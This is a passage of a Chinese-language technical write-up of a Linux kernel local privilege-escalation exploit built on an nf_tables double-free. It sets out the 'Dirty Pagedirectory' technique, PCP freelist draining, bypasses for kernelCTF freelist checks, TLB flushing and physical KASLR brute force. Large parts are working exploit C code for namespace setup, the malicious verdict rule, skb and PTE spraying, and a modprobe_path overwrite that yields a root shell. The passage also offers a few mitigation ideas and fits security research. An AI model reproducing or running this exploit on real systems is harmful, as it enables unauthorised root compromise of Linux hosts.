pud = alloc_page(GFP_KERNEL); // refcount 0 -> 1
pr_err("[*] skb1: %px (phys: %016llx), pmd: %px (phys: %016llx), pud: %px (phys: %016llx)\n", skb1, page_to_phys(skb1), pmd, page_to_phys(pmd), pud, page_to_phys(pud));
}
4-2. 页freelist条目order-4 到order-0
skb分配路径:当调用__do_kmalloc_node()
(例如skb的分配)分配内存时,会把分配大小和KMALLOC_MAX_CACHE_SIZE
进行比较,若大于该值则采用页分配器而非SLAB分配器。如果想释放skb并分配PTE占据同一内存,这非常有用。但是KMALLOC_MAX_CACHE_SIZE = PAGE_SIZE * 2
,这意味着分配order-1以上(2-page,8096)的内存时,kmalloc才会采用页分配器。skb大小可变,范围是kmalloc-256
和4-order
页(65536字节)之间。
PTE分配路径:PTE是调用alloc_page()
页分配器(而非kmalloc(4096)
)来分配的,可节省开销,1个PTE是order-0页(1 page,4096字节)。
问题:如果对位于SLAB分配器中的4096对象进行二次释放,其只会出现在SLAB cache中,而非page cache中。为了使skb漏洞对象和PTE重叠,需分配order-4的skb对象,然后将order-4的页切分为order-0的页。为了对 order-0 freelist中的页进行二次释放,需要将order-4(16 page)freelist条目的二次释放转换为order-0(1 page)条目。有两种方法来用order-4 page freelist条目去分配order-0 page。
(1)PCP list耗尽
由于PCP分配器就是伙伴系统的一个 per-CPU freelist,如果耗尽了就会用来自伙伴系统的页重新填充。页分配过程参见2-4
。
将页order置为0的内存操作时间线:
rmqueue_bulk()
函数负责从伙伴系统的order
页中获得count
个页(count = N/order
)来填充 PCP freelist。过程是遍历伙伴系统的freelist,如果freelist条目的order >= order
,则返回该页进行填充;如果 > order
,则先要切分页。
目标:order-4的skb漏洞页释放后,加入到伙伴系统的freelist,需要将其转化为order-0的PCP页,分配给PTE对象。
方法:通过堆喷PTE页来耗尽PCP freelist,也可以堆喷PMD对象。不同的系统上,PCP freelist中对象数目不同,作者选择堆喷16000个PTE对象,足以耗尽PCP freelist。
// rmqueue_bulk() —— 用于重新填充 PCP freelist
static int rmqueue_bulk(struct zone *zone, unsigned int order,
unsigned long count, struct list_head *list,
int migratetype, unsigned int alloc_flags)
{
unsigned long flags;
int i;
spin_lock_irqsave(&zone->lock, flags);
for (i = 0; i < count; ++i) {
struct page *page = __rmqueue(zone, order, migratetype, alloc_flags);
if (unlikely(page == NULL))
break;
list_add_tail(&page->pcp_list, list);
// [snip] set stats
}
// [snip] set stats
spin_unlock_irqrestore(&zone->lock, flags);
return i;
}
(2)竞争条件(已过时)
>> 该技术已过时,但已用于 kernelctf 利用 <<
方法:第1次free()
会将页添加到正确的freelist中,并将页order置为0。但是第2次释放时(Double-Free),会将该页添加到order-0的freelist中。利用这种方法,我们可以将order-4的页也添加到order-0的freelist中。
将页order置为0的内存操作时间线:
竞争条件:如果顺序是free; free; alloc; alloc
,则第2次释放会失败,因为第1次释放后页的refcount变为0。如果顺序是free; alloc; free; alloc
,则第2次释放时order不为0,因为alloc会将order设置为最初的值4,那就无法将释放页转换为order-0。也即要么refcount为-1,要么order为4,产生竞争条件。
竞争窗口:当页面释放时,其order是通过值传递的。这意味着,如果在第2次释放时分配该空闲页,将分配得到order-0的freelist,并且refcount也会增加(不为0)。该竞争窗口极小,包含几个函数调用。如果检测到double-free且order为0,free_large_kmalloc()
会向dmesg打印WARN()
。在硬件环境中竞争窗口只有1ms,在QEMU VM这种串行终端中会达到50ms-300ms,可以命中。
现在我们成功将order-4的页释放到order-0的freelist中了,这样就能用order-0的页来覆写该页了。我们也能释放第1次分配到的页(得到第1次释放的页)再分配新的对象来占据,因为页的order不会变。
4-3. 立即释放 skb(不用UDP/TCP栈)
目的:为了避免freelist损坏检查导致崩溃,我们希望能任意释放skb(不使用UDP/TCP栈)。在第1次释放后,skb会被损坏,这意味着我们无法再使用UDP/TCP栈,因为该操作会引用损坏的结构成员。
kernelCTF方法(已过时):可释放特定CPU上的某个skb来绕过Double-Free,因为sk_buff
freelist是per-CPU的。这意味着,如果我们在2个CPU上两次释放一个对象,不会检测到Double-Free。
IP 数据包分段和分段队列:在IP数据包等待接收其所有分片时,会把分片放在IP分片队列(红黑树)中;当收到所有分片后,会在最后一个到来的分片所在的CPU上重组数据包。注意,IP分片队列存在一个超时ipfrag_time
,超时后会释放所有skb。后面会介绍如何修改此超时。
新方法:如果想将freelist条目 skb1
从CPU 0 切换到CPU 1的freelist上,首先将skb1
作为IP分片分配到CPU 0的IP分片队列上,然后将最后一个IP分片skb2
发送到CPU 1上,这样 skb1
就会在CPU 1上被释放。本方法可以用于任意释放skb(不使用UDP/TCP栈),避免崩溃。切换skb的per-CPU freelist的时间线如下图:
问题:IP 片段队列的大小由skb->len
确定,但是对象被释放后set_freepointer() 会将skb->len
覆写成kmem_cache->random
,导致分片队列的处理和预期不一致,无法正常完成分片处理,因为它会使用随机的length。
解决:不完成IP分片队列,使用无效输入来触发error。这会导致CPU的IP分片队列上所有skb立刻被释放,而不管skb->len
值是多少。注意,需要在释放skb1
和分配skb2
之间附加额外的skb对象,否则会触发Double-Free检测(CONFIG_FREELIST_HARDENED
)。图中没有显示这一步,但是PoC中有。
如何修改skb生命周期——ipfrag_time
超时?
目标是控制skb的寿命。内核提供了用户接口来配置IP分片队列的超时时间——/proc/sys/net/ipv4/ipfrag_time
。这是每个网络命名空间特定的,因此非特权用户也可以设置。在使用IP分片重组IP包时,内核会等待ipfrag_time
秒,如果将ipfrag_time
设置为999999秒,skb分片就会存活999999秒;如果想快速分配和释放skb,就可以将其设置为1秒。
// 修改`ipfrag_time` —— 控制IP分片重组时的等待时间
static void set_ipfrag_time(unsigned int seconds)
{
int fd;
fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
if (fd < 0) {
perror("open$ipfrag_time");
exit(1);
}
dprintf(fd, "%u\n", seconds);
close(fd);
}
4-4. 绕过 KernelCTF skb 损坏检查
问题:KernelCTF会检查freelist是否损坏,特别是检查正在分配的对象中freelist的下一个ptr是否损坏。由于skbuff_head_cache->offset == 0x70
,所以freelist next ptr和skb->len
重叠了。这意味着next/previous freelist条目指针存储在sk_buff+0x70
。内核开发者将s->offset
设置在slab中间位置是为了避免OOB漏洞覆写freelist指针(避免轻松提权)。
在第1次释放skb后,skb->len
会被next ptr覆写,而在第2次释放skb之前,解析数据包时会修改skb->len
,破坏了freelist next ptr。
分配时freelist损坏检测:这时,如果想调用slab_alloc_node()
来分配第1次释放的skb的freelist条目,freelist_ptr_decode()
函数会将该空闲对象的freelist next ptr标记为损坏,导致分配出错。KernelCTF中的freelist_pointer_corrupted()
函数如下所示:
static inline bool freelist_pointer_corrupted(struct slab *slab, freeptr_t ptr,
void *decoded)
{
#ifdef CONFIG_SLAB_VIRTUAL
/*
* If the freepointer decodes to 0, use 0 as the slab_base so that
* the check below always passes (0 & slab->align_mask == 0).
*/
unsigned long slab_base = decoded ? (unsigned long)slab_to_virt(slab) : 0;
/*
* This verifies that the SLUB freepointer does not point outside the
* slab. Since at that point we can basically do it for free, it also
* checks that the pointer alignment looks vaguely sane.
* However, we probably don't want the cost of a proper division here,
* so instead we just do a cheap check whether the bottom bits that are
* clear in the size are also clear in the pointer.
* So for kmalloc-32, it does a perfect alignment check, but for
* kmalloc-192, it just checks that the pointer is a multiple of 32.
* This should probably be reconsidered - is this a good tradeoff, or
* should that part be thrown out, or do we want a proper accurate
* alignment check (and can we make it work with acceptable performance
* cost compared to the security improvement - probably not)?
*/
return CHECK_DATA_CORRUPTION(
((unsigned long)decoded & slab->align_mask) != slab_base,
"bad freeptr (encoded %lx, ptr %p, base %lx, mask %lx",
ptr.v, decoded, slab_base, slab->align_mask);
#else
return false;
#endif
}
解决分配问题:作者发现,该检查不会追溯。当释放具有损坏freelist条目的对象之上的对象时,该机制不会检查前一个对象的next ptr是否损坏。所以可通过释放其后的另一个skb(大小不同)来屏蔽上一个错误的next ptr,再次分配该skb(跟旧的skb数据一样)。这样就掩盖了原始的损坏的skb,同时仍能够两次分配该skb。
绕过kernelCTF中freelist损坏检测的原理如下图所示:
修复建议:KernelCTF 开发人员可以在释放时也检查freelist head next ptr是否损坏(不仅仅是在分配时)。
4-5. 脏页目录
4-5-1. 思路
问题:作者受到脏页表的启发,但是本文面对的漏洞是**skb
的Double-Free,无法稳定多次篡改PTE(脏页表一文中可以利用位于kmalloc-128的signalfd_ctx
对象来稳定篡改PTE)**。作者找不到一个页大小的堆喷对象,能够布置用户数据且和PTE页位于同一freelist。为了稳定性和通用性,作者也不能采用Cross-cache Attack。
利用思路1:考虑到可以在PTE相同的freelist中构造Double-Free,如果可以跨进程二次分配PTE,例如sudo和EXP之间,就能在两个不相干的进程间构造内存共享(将EXP的虚拟地址指向sudo的物理地址)。这样就能读写root进程的应用数据,来获得root shell。由于进程启动时会分配各种内存,这要求能精确管理freelist上的位置,所以很难实现本方法。
那如果能使PTE页和PMD页重叠会怎样?这样PMD会将PTE页解引用为PMD页,并将PTE的用户态页解析为PTE页。
有效性:事实证明,PMD+PTE 方法有效。PUD+PMD方法也是有效的,PGD+PUD可能有效。唯一的区别是模拟镜像的页数量:PTE+PMD需要1G的页,PUD+PMD需要512G的页,PGD+PUD需要256T的页。注意,这可能影响内存的使用,系统可能会因镜像内存过多而出现OOM(内存耗尽)。
方法选择:在 PMD+PTE 和 PUD+PMD 方法之间进行选择时,需要考虑 Dirty Pagedirectory 的集成。总的来说,PMD+PTE是最佳选择。
4-5-2. 技术介绍
脏页目录技术能够对物理内存进行无限制、稳定的读写。还能通过设置权限flag来绕过权限检查,这样就能写入只读页面,例如覆写modprobe_path
。本节以 PUD+PMD方法来阐释原理,POC中采用的是PMD+PTE策略。
总体思路:利用Double-Free等漏洞将PUD和PMD分配到同一地址。VMA应该是独立的,以避免冲突(即不要在 PUD 区域内分配 PMD)。然后,向PMD页写入地址,并读取PUD相应页的地址。脏页目录技术的层次结构如下图所示,包括所需的内存操作:
构造重叠PUD/PMD:假设modprobe_path
变量存储在PFN/物理地址0xCAFE1460
的页中。采用脏页目录技术:通过mmap两次分配PUD页和PMD页,其中对应的用户态VMA范围是0x8000000000 - 0x10000000000
( mm->pgd[1]
-PUD) 和0x40000000 - 0x80000000
( mm->pgd[0][1]
-PMD)。
这表示mm->pgd[1][x][y]
总是等于mm->pgd[0][1][x][y]
,因为当我们两次分配它时,mm->pgd[1]
和mm->pgd[0][1]
都指向地址/对象。mm->pgd[0][1][x][y]
表示一个用户态页,mm->pgd[1][x][y]
表示的是PTE。这意味着PUD会把PMD的用户页解释成PTE页(可通过写用户态页来伪造PTE物理地址,这样就能通过PUD实现任意物理地址了)。
伪造PTE值构造任意读:例如,为了读取物理页地址0xCAFE1460
,我们通过将0x80000000CAFE1867
(加上了PTE flag)写入0x40000000
(也即物理页@mm->pgd[0][1][0][0]+0x0
对应的用户态地址,也就是PUD区域第1个PTE条目)。由于有重叠,这意味着我们将该值写到了页面为@mm->pgd[1][0][0]+0x0
的PTE地址,因为mm->pgd[1][0][0] == mm->pgd[0][1][0][0]
。现在,我们可以通过读取页mm->pgd[1][0][0][0]
(最后一个索引0,因为我们将其写入到了PTE前8个字节,以上的0x0
)来从伪造的PTE物理地址读取(直接从用户页 0x8000000000
读取即可)。
刷新TLB再读写:由于是从用户空间修改的PTE,所以需要刷新TLB,因为TLB包含过时的地址记录。TLB刷新之后,printf('%s', 0x8000000460);
就能打印/sbin/modprobe
或modprobe_path
。然后通过strcpy((char*)0x8000000460, "/tmp/privesc.sh");
来覆写modprobe_path
(注意有KMOD_PATH_LEN
字节的填充)并获得shell。这里不需要刷新TLB,因为写入时没有修改TLB。
注意这个过程,如何在PTE值
0x80000000CAFE1867
中设置R/W flag。虚拟地址0x8000000460
中的0x8
和PTE值0x80000000CAFE1867
中的0x8
不相关:PTE值中表示打开的flag,而虚拟地址只是恰好以0x8
开头。
总结以上过程:将PTE值写入VMA范围0x40000000 - 0x80000000
内的用户态页,并通过读写VMA范围0x8000000000 - 0x10000000000
中相应的用户态页,来解引用该PTE值,进行任意物理地址读写。
4-5-3. 缓解机制
该利用技术能绕过当前内核中的缓解机制,包括KASLR/KPTI/SMAP/SMEP/CONFIG_STATIC_USERMODEHELPER
。
**为什么能绕过SMAP?**因为SMAP只适用于虚拟地址,不适用于物理内存地址。PTE在PMD中是通过其物理地址进行引用的,这意味着当PMD中的PTE条目是用户态页时,SMAP无法检测到,因为其不是虚拟地址。因此,PUD区域可以使用用户态页作为PTE。
防护:设置表条目类型,防止混用。例如,为 PTE 设置类型 0,为 PMD 设置类型 1,为 PUD 设置类型 2,为 P4D 设置类型 3,为 PGD 设置类型 4。这样每个表条目需要2log(levels)
位来存储类型标志位(如果开启P4D五级页表则需要3bit来存类型值,因为level=5
),增大了存储空间,且引入了检查开销,访问每一级都需要检查内存。但是,本机制仍允许内存共享(也即,使sudo和EXP的PTE页面重叠,sudo以root权限运行)。
4-6. 堆喷页表
注意,本节以PUD+PMD为例来讲脏页目录的原理,但EXP中采用的是PMD+PTE方法,因为EXP是通过耗尽PCP list将PTE分配在二次释放的地址。
堆喷方法:首先,页表是由内核按需分配的,如果我们只是通过mmap映射了虚拟内存区域,不会发生分配。只有对该VMA进行读写时,才会为访问的页分配页表。注意,当分配PUD时,会分配PMD、PTE和用户空间页;当分配PTE时,会分配用户空间页。Dirty Pagetable原文提到,可通过先分配其父级页表来分配特定级的页表,因为父页表(PMD)包含512个子页表(PTE)。例如,如果想喷射4096个PTE,则需要预先分配4096/512 = 8
个PMD。
**为什么选PMD+PTE?**如果我们喷射PMD,会同时分配PTE(从同一freelist),这样50%是PMD,50%是PTE。如果我们喷射PUD,则会是 33% PUD、33% PMD 和 33% PTE。因此,如果我们喷射PTE,则100%是PTE。因此我们选取PMD+PTE,而不是 PUD+PMD,喷射PMD会使稳定性降低50%。注意,用户态页是从不同的freelist分配来的(migratetype 0,而不是 migratetype 1)。
4-7. TLB刷新
TLB刷新:目的是删除或使TLB中所有条目(虚拟地址到物理地址的缓存)无效。TLB刷新技术需满足以下要求:
- 不修改现有进程页表
- 必须100%有效
- 速度快
- 可以从用户态触发
- 不受PCID影响
方法:在分配PMD和PTE时,需将其标记为shared,然后fork()
进程,子进程调用munmap()
进行刷新,接着进入睡眠(避免EXP不稳定导致崩溃)。代码如下(用于刷新特定虚拟内存范围的 TLB):
static void flush_tlb(void *addr, size_t len)
{
short *status;
status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*status = FLUSH_STAT_INPROGRESS;
if (fork() == 0)
{
munmap(addr, len); // mmap时标记为shared,在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新
*status = FLUSH_STAT_DONE;
PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
sleep(9999);
}
SPINLOCK(*status == FLUSH_STAT_INPROGRESS); // 锁机制防止parent在child刷新TLB之前继续执行。如果子进程直接exit(而非sleep),则不需要加锁,因为parent可以监视子进程状态。
munmap(status, sizeof(short));
}
这种方法在刷新页表和页目录方面的成功率达到100%。它已在最新的 AMD CPU 和 QEMU VM 上进行了测试。这种刷新方法不依赖硬件,因为在此用例中必须从内核触发刷新。
4-8. 绕过物理 KASLR
机制:Physical KASLR是对物理地址进行随机化。通常,之前的漏洞利用都使用的是虚拟内存(所以只需绕过虚拟KASLR)。但由于本文方法采用的是脏页目录,需要对内存的物理地址进行读写,所以需绕过物理KASLR。
(1)获取物理基址
物理内存:通常,需要暴破整个物理内存范围才能找到目标物理地址。物理内存是指所有可用的物理内存地址,例如,笔记本上16G RAM + 1G内置MMIO=17G物理内存。
物理基址对齐:如果设置了CONFIG_RELOCATABLE=y
,Linux内核的物理基址必须和CONFIG_PHYSICAL_START
(0x100'0000
,也即 16MiB)字节对齐。如果CONFIG_RELOCATABLE=n
,则物理基址就是CONFIG_PHYSICAL_START
。我们假设设置了CONFIG_RELOCATABLE=y
,需要暴破物理基址。
注意,如果设置了CONFIG_PHYSICAL_ALIGN
,物理基址就会和CONFIG_PHYSICAL_ALIGN
对齐(而非CONFIG_PHYSICAL_START
)。CONFIG_PHYSICAL_ALIGN
值通常较小,例如0x20'0000
2MiB,这意味着需要暴破更多地址(8倍)。
本测试环境v6.3.13中,CONFIG_RELOCATABLE=y
/ CONFIG_PHYSICAL_START == CONFIG_PHYSICAL_ALIGN == 0x1000000
。
暴破物理基址:假设目标设备有8G物理内存,这样可将搜索量减少到8GiB / 16MiB = 512
,只需检查512个地址的第一个页的前几字节(指纹),就知道是否为内核基址。脏页目录允许我们对整个页面进行无限读写,因此能读取每个物理页的4096字节,并且能覆写每个PTE的512个页地址。如果我们的机器有8G内存,只需一次覆写PTE(伪造512个物理地址)就能找到物理基址。
为了正确识别这512个物理地址中哪一个含有内核基址,作者编写了get-sig Python脚本来生成大量的memcmp条件语句,寻找不同内核的共有字节。
(2)获取target物理地址
搜索方法:当我们找到物理基址后,可以使用基于物理内核基址的硬编码偏移,来找到我们需要读写的target地址;也可以根据target的数据模式来扫描 ~80MiB
物理内存。如果系统内存为8G,数据扫描技术需要覆写1 + 80MiB/2MiB ~= 40
的PTE。如果我们可以访问脏页目录,并且target数据的格式是唯一的(例如modprobe_path
),则数据模式扫描方法更好,跨内核版本的兼容性更好。
注意,~80MiB
是估计值,实际可能更少,因为target可能位于固定偏移的内存中。例如,内核代码可能位于基址的+0x0
偏移处,内核数据可能总是位于+0x1000000
,如果要搜索modprobe_path
,可以直接从+0x1000000
开始,不过这一点没有经过测试。
5. 漏洞利用
5-1. 执行
总体利用流程如下图所示:
5-1-1. 环境设置
(1)命名空间
Debian和Ubuntu默认开启了用户命名空间。检查用户命名空间是否开启的命令如下,为1则表示已启用:
$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
创建用户和network命名空间的代码如下:
static void do_unshare()
{
int retv;
printf("[*] creating user namespace (CLONE_NEWUSER)...\n");
// do unshare seperately to make debugging easier
retv = unshare(CLONE_NEWUSER);
if (retv == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
printf("[*] creating network namespace (CLONE_NEWNET)...\n");
retv = unshare(CLONE_NEWNET);
if (retv == -1)
{
perror("unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
}
之后,通过设置UID/GID映射来给我们的命名空间赋予root访问权限,代码如下:
static void configure_uid_map(uid_t old_uid, gid_t old_gid)
{
char uid_map[128];
char gid_map[128];
printf("[*] setting up UID namespace...\n");
sprintf(uid_map, "0 %d 1\n", old_uid);
sprintf(gid_map, "0 %d 1\n", old_gid);
// write the uid/gid mappings. setgroups = "deny" to prevent permission error
PRINTF_VERBOSE("[*] mapping uid %d to namespace uid 0...\n", old_uid);
write_file("/proc/self/uid_map", uid_map, strlen(uid_map), 0);
PRINTF_VERBOSE("[*] denying namespace rights to set user groups...\n");
write_file("/proc/self/setgroups", "deny", strlen("deny"), 0);
PRINTF_VERBOSE("[*] mapping gid %d to namespace gid 0...\n", old_gid);
write_file("/proc/self/gid_map", gid_map, strlen(gid_map), 0);
#if CONFIG_VERBOSE_
// perform sanity check
// debug-only since it may be confusing for users
system("id");
#endif
}
(2)Nftables
为了触发漏洞,我们需使用恶意的verdict值来设置 hook/rule。代码如下:
// add_set_verdict() —— 添加immediate指令,设置恶意的verdict值
static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("immediate");
if (e == NULL) {
perror("expr immediate");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val);
nftnl_rule_add_expr(r, e);
}
(3)预分配
漏洞利用之前,需预分配一些对象防止分配噪声,避免利用失败。注意,CONFIG_SEC_BEFORE_STORM
会等待后台所有的分配完成,以防跨CPU发生分配。这样会减慢漏洞利用速度(1s -> 11s),但是在存在大量噪声的系统上能提高漏洞利用的稳定性。有趣的是,在没有任何工作负载的系统(例如kernelCTF image)上,没有sleep的情况下,成功率提升了(93% -> 99,4%,n=1000)。预分配代码如下:
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
unsigned long long *pte_area;
void *_pmd_area;
void *pmd_kernel_area;
void *pmd_data_area;
struct ip df_ip_header = {
.ip_v = 4,
.ip_hl = 5,
.ip_tos = 0,
.ip_len = 0xDEAD,
.ip_id = 0xDEAD,
.ip_off = 0xDEAD,
.ip_ttl = 128,
.ip_p = 70, // 协议号为70,才能触发 nftables rule
.ip_src.s_addr = inet_addr("1.1.1.1"),
.ip_dst.s_addr = inet_addr("255.255.255.255"),
};
char modprobe_path[KMOD_PATH_LEN] = { '\x00' };
// 0. initialize
get_modprobe_path(modprobe_path, KMOD_PATH_LEN); // 读取 modprobe_path 的默认路径
printf("[+] running normal privesc\n");
PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");
pin_cpu(0);
// 0-1. 预分配一个PUD,便于之后分配重叠的PMD
mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0) = 0xDEADBEEF;
// 0-2. 提前注册16000个待堆喷的 PTE 页,每个PTE页含2个PTE条目(没有写入,暂且不会分配实际的PTE页,同时会预注册16000/512个PMD页)
// 注意,有大小限制,因为注册VMA很耗内存
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
void *retv = mmap((void*)PTI_TO_VIRT(2, 0, i, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (retv == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
}
// 0-3. 预分配 16000/512 个 PMD页,便于之后实际分配 16000 个PTE页
// PTE_SPRAY_AMOUNT / 512 = PMD_SPRAY_AMOUNT: PMD contains 512 PTE children
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT / 512; i++)
*(char*)PTI_TO_VIRT(2, i, 0, 0, 0) = 0x41;
// 0-4. 预注册2个PMD条目(位于同一PMD页,对应不同的PTE页),对应2个PTE条目 2*512*4096 = 0x400000
_pmd_area = mmap((void*)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
pmd_kernel_area = _pmd_area;
pmd_data_area = _pmd_area + 0x200000;
PRINTF_VERBOSE("[*] allocated VMAs for process:\n - pte_area: ?\n - _pmd_area: %p\n - modprobe_path: '%s' @ %p\n", _pmd_area, modprobe_path, modprobe_path);
// 0-5. 创建5个socket: ip/udp client/udp server/tcp client/tcp server
populate_sockets();
set_ipfrag_time(1);
// cause socket/networking-related objects to be allocated
df_ip_header.ip_id = 0x1336;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);
set_ipfrag_time(9999);
printf("[*] waiting for the calm before the storm...\n");
sleep(CONFIG_SEC_BEFORE_STORM);
// ... (rest of the exploit)
}
5-1-2. Double-Free
触发Double-Free需要用到IPv4网络代码和页分配器。触发Double-Free后,下一节才能使用脏页目录对任意物理内存页进行任意、无限读写。
(1)分配skb(干净的skb避免崩溃,udp包)
目的:在构造Double-Free之前分配一个干净的skb(在两次free之间释放本skb,以避免检测)。
方法:发送UDP包,EXP将UDP包发送到其自身的UDP listener socket,在UDP listener调用recv()
接收包之前,skb会保留在内存中。
// 发送UDP包
void send_ipv4_udp(const char* buf, size_t buflen)
{
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_port = htons(45173),
.sin_addr.s_addr = inet_addr("127.0.0.1")
};
sendto_noconn(&dst_addr, buf, buflen, sendto_ipv4_udp_client_sockfd);
}
static void alloc_ipv4_udp(size_t content_size)
{
PRINTF_VERBOSE("[*] sending udp packet...\n");
memset(intermed_buf, '\x00', content_size);
send_ipv4_udp(intermed_buf, content_size);
}
// privesc_flh_bypass_no_time() —— 分配N个UDP数据包来喷射sk_buff对象,供之后释放使用
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (setup code)
// 1. 触发Double-Free,构造重叠的PMD页和PTE页
// 1-1. 分配170个干净skb(udp包),在Double-Free之间释放本skb,避免检测导致崩溃
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
alloc_ipv4_udp(1);
}
// ... (rest of the exploit)
}
(2)Double-Free-第1次释放
方法:发送IP数据包,触发之前设置的nftables rule。可以采用任意协议但不能包含TCP/UDP,因为TCP/UDP会被传到对应的TCP/UDP handler代码,由于数据损坏导致内核崩溃。
skb构造:注意,IP头中的IP_MF
标志(0x2000
),表示skb进入IP分片队列,稍后可通过发送第2个IP分片来释放skb。skb的大小决定了Double-Free对象的大小,如果分配的数据包内容为0字节,则skb对象位于 kmalloc-256,如果分配超过32768(0x8000)字节内容,就会从order-4(16个页)的伙伴系统来分配。以下代码负责组合IP数据包、计算校验和并发送数据包:
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers
static int sendto_ipv4_ip_sockfd;
void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header)
{
size_t ip_buflen = sizeof(struct ip) + buflen;
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = inet_addr("127.0.0.2") // 127.0.0.1 will not be ipfrag_time'd. this can't be set to 1.1.1.1 since C runtime will prob catch it
};
memcpy(intermed_buf, ip_header, sizeof(*ip_header));
memcpy(&intermed_buf[sizeof(*ip_header)], buf, buflen);
// checksum needds to be 0 before
((struct ip*)intermed_buf)->ip_sum = 0;
((struct ip*)intermed_buf)->ip_sum = ip_finish_sum(ip_checksum(intermed_buf, ip_buflen, 0));
PRINTF_VERBOSE("[*] sending IP packet (%ld bytes)...\n", ip_buflen);
sendto_noconn(&dst_addr, intermed_buf, ip_buflen, sendto_ipv4_ip_sockfd);
}
发送原始IP数据包,并触发之前设置的 nf_tables
rule(满足两个条件就会触发,包内容为\x41
且 协议号protocol
字段为70):
static char intermed_buf[1 << 19];
static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
memset(intermed_buf, chr, dfsize);
send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}
static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
printf("[*] sending double free buffer packet...\n");
send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (skb spray)
// 1-2. 1st Double-Free skb (SOCK_RAW ip包,避免二次释放时崩溃),触发nftables rule释放skb
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000); // IP_MF=0x2000 分片第1个包 wait for other fragments. 8 >> 3 to make it wait or so?
trigger_double_free_hdr(32768 + 8, &df_ip_header);
// ... (rest of the exploit)
}
(3)绕过double-free检查
目的:通过释放之前分配的UDP数据包(sk_buff
对象),来避免Double-Free的检测并提高exploit的稳定性。
// recv_ipv4_udp() —— 接收UDP数据包
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers
static int sendto_ipv4_udp_server_sockfd;
void recv_ipv4_udp(int content_len)
{
PRINTF_VERBOSE("[*] doing udp recv...\n");
recv(sendto_ipv4_udp_server_sockfd, intermed_buf, content_len, 0);
PRINTF_VERBOSE("[*] udp packet preview: %02hhx\n", intermed_buf[0]);
}
// privesc_flh_bypass_no_time() —— 释放之前堆喷的所有sk_buff对象(udp包)
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (trigger doublefree)
// 1-3. 释放170个skb到freelist,避免Double-Free检测导致崩溃
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] freeing reserved udp packets to mask corrupted packet... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
recv_ipv4_udp(1);
}
// ... (rest of the exploit)
}
(4)堆喷PTE
堆喷PTE方法:直接写之前注册的VMA中的虚拟内存页,即可堆喷PTE。注意,一个PTE页包含512个页,也即0x20'0000
字节(512*4096
)。因此,我们每隔0x20'0000
字节访问一次,总共访问CONFIG_PTE_SPRAY_AMOUNT
次,即可堆喷16000个PTE页。
实现页表索引转化为虚拟地址:根据页表索引值恢复其虚拟地址,实现为PTI_TO_VIRT
宏。即mm->pgd[pud_nr][pmd_nr][pte_nr][page_nr]
对应的虚拟内存页是PTI_TO_VIRT(pud_nr, pmd_nr, pte_nr, page_nr, 0)
,例如,mm->pgd[1][0][0][0]
对应虚拟内存页0x80'0000'0000
。
#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
